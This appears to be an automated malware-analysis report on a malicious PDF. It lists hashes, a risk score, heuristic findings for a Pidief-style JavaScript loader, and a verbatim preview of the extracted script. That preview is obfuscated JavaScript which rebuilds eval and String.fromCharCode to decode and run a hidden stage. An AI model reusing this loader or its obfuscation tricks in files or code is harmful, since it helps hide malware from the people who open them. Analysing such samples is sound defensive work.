Malicious PDF — malware analysis report

Static analysis result for SHA-256 9d9deca305559b4e…

MALICIOUS

PDF

45.2 KB First seen: 2026-05-09
MD5: a49058e1ff6802e9887f59650b0da73c SHA-1: 6477e8bb02d1e6db0ca726bd07e047b583c988be SHA-256: 9d9deca305559b4ecd467f339291285b7560534d84f9394a8c919d8668efdff6
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF file contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The JavaScript stream is likely designed to download and execute a second-stage payload. The document body 'test' provides no contextual information for the attack.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB243 440 bytes
SHA-256: 581f327b77f21ba96b3ae1a6ccfbc5e6f901fec580cdf671ec16e8bd42768a6f
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
fcxj='';
yzrjd=('qwrwqr','tit');
e('mrb=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
bgjck=e('String.fr'+mrb.substr(0,10));
gbe = e(mrb.substr(10)['replace'](/u/g,','));
e('k=gbe.length');
for (i = 0; i < k; i+=2) {
	kud = gbe[i+1] + ('erybjkerl',gbe[i]);
	fcxj += bgjck(kud);
}
e(fcxj);

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